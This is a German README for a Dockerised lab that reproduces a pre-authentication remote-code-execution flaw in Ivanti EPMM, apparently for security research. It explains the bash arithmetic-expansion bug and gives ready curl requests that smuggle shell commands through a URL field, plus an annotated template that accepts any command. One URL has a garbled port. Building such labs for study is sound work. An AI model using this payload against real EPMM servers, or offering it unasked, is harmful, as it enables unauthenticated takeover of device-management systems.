
Eine einfache Demo-Anwendung, die zeigt, wie die Ivanti-EPMM-Pre-Auth-RCE-Schwachstelle (CVE-2026-1281 / CVE-2026-1340) zu Bildungs- und Sicherheitsforschungszwecken reproduziert werden kann.
Eine einfache Demo-Anwendung, die zeigt, wie die Ivanti EPMM Pre-Auth RCE-Schwachstelle (CVE-2026-1281 / CVE-2026-1340) zu Bildungs- und Sicherheitsforschungszwecken reproduziert werden kann.
Diese Schwachstelle nutzt das Verhalten der Bash-Arithmetik-Expansion aus. Wenn eine Variable, die einen Verweis auf eine andere Variable enthält, in einem arithmetischen Kontext verwendet wird und die referenzierte Variable einen Array-Index mit Befehlsersetzung enthält, wird der Befehl ausgeführt.
st=theValue (wörtliche Zeichenkette "theValue" mit Auffüllung)h=gPath[\command`]` (Befehl im Array-Index)theValue bei jeder IterationgStartTime wird auf die wörtliche Zeichenkette "theValue" gesetzttheValue gPath[\command`]`[[ ${currentTime} -gt ${gStartTime} ]] ausgewertet wird:
${gStartTime} → "theValue" (Zeichenkette)theValue als VariablenreferenztheValue → gPath[\command`]`# Container bauen und starten
docker-compose up --build -d
# Prüfen, ob er läuft
curl http://localhost:8180/health
Erstellen Sie eine Datei, um die Befehlsausführung zu beweisen:
# URL-kodiertes Payload: id > /mi/poc
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/test.ipa"
# Prüfen, ob die Datei erstellt wurde
cat artifacts/poc
Mit einem Sleep-Befehl verifizieren:
# Sollte ~5 Sekunden für die Antwort benötigen
time curl "http://localhost:81080/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60sleep%205%60%5D/test.ipa"
# Benutzerdefinierten Inhalt schreiben
curl "http://localhost:8180/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60echo%20PWNED%20%3E%20/mi/pwned%60%5D/test.ipa"
cat artifacts/pwned
/mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60COMMAND%60%5D/uuid.ipa
│ │ │ │
│ │ │ └─ Payload: gPath[`COMMAND`]
│ │ └─ End-Zeitstempel (beliebige 10 Ziffern)
│ └─ KRITISCH: wörtlich "theValue" + 2 Leerzeichen (insgesamt 10 Zeichen)
└─ Schlüsselindex (beliebiger Wert)
# Container-Logs anzeigen
docker-compose logs -f
# Eine Shell im Container öffnen
docker exec -it ivanti-epmm-vuln /bin/bash
# Nginx-Fehlerprotokolle prüfen
docker exec -it ivanti-epmm-vuln cat /var/log/nginx/error.log
docker-compose down
rm -rf artifacts/*
Dies dient ausschließlich Bildungs- und autorisierten Sicherheitstestzwecken. Verwenden Sie es nicht gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.